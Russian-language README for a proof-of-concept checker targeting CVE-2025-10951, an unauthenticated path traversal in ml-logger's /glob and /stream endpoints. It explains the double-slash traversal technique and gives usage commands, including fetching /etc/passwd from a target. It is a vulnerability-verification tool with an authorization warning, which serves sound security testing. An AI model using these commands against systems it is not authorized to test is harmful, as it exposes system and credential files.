
Инструмент проверки PoC для CVE-2025-10951 — неаутентифицированного обхода пути в ml-logger, проверяющий произвольное чтение файлов через конечные точки /glob и /stream.
Инструмент проверки наличия уязвимости для CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 — неаутентифицированного обхода пути в geyang/ml-logger
(≤ 0.10.36), затрагивающего функции log_handler / stream_handler в
ml_logger/server.py.
Используйте только против систем, которые вам разрешено тестировать.
| Endpoint | Method | Purpose |
|---|---|---|
/glob | POST | Подтверждает, что сервер перечисляет пути файловой системы за пределами предполагаемой области приложения |
/stream | GET | Подтверждает чтение произвольных файлов с помощью приёма обхода с двойным слэшем в начале (//path/to/file) |
По умолчанию на шаге проверки читается только /etc/hostname — одна безвредная строка, присутствующая практически на каждом Linux-хосте, никогда не содержащая чувствительных данных.
pip install requests
Базовая проверка:
python3 check_mllogger_traversal.py http://TARGET:PORT
Запись результатов в JSON (для документации/доказательств по проекту):
python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json
Загрузка указанного вами конкретного файла (выполняется только при подтверждении уязвимости):
python3 check_mllogger_traversal.py http://TARGET:PORT \
--fetch /etc/passwd --output passwd.txt
Всё вместе:
python3 check_mllogger_traversal.py http://TARGET:PORT \
--json results.json --fetch /etc/passwd --output passwd.txt
0 — уязвимость подтверждена (полностью или вероятно)1 — не подтверждена уязвимость / цель недостижима{
"target": "http://192.xxx.xxx.xxx:8081",
"timestamp": "2026-00-12T10:15:32.123456+00:00",
"cve": "CVE-2025-10951",
"glob_endpoint_confirmed": true,
"stream_endpoint_confirmed": true,
"vulnerable": true,
"likely_vulnerable": true,
"fetch": {
"remote_path": "/etc/passwd",
"local_path": "passwd.txt",
"success": true
}
}
--fetch запускается только после успешной проверки уязвимости — он не будет пытаться загружать файл с неподтверждённой цели.| Flag | Description |
|---|
target | Базовый URL, например http://192.xxx.x.xx:8081 |
--timeout | Таймаут запроса в секундах (по умолчанию: 8.0) |
--json FILE | Записать структурированные результаты в JSON-файл |
--fetch REMOTE_PATH | Загрузить указанный вами конкретный удалённый файл |
--output LOCAL_PATH | Локальное имя файла для вывода --fetch (по умолчанию: базовое имя удалённого пути) |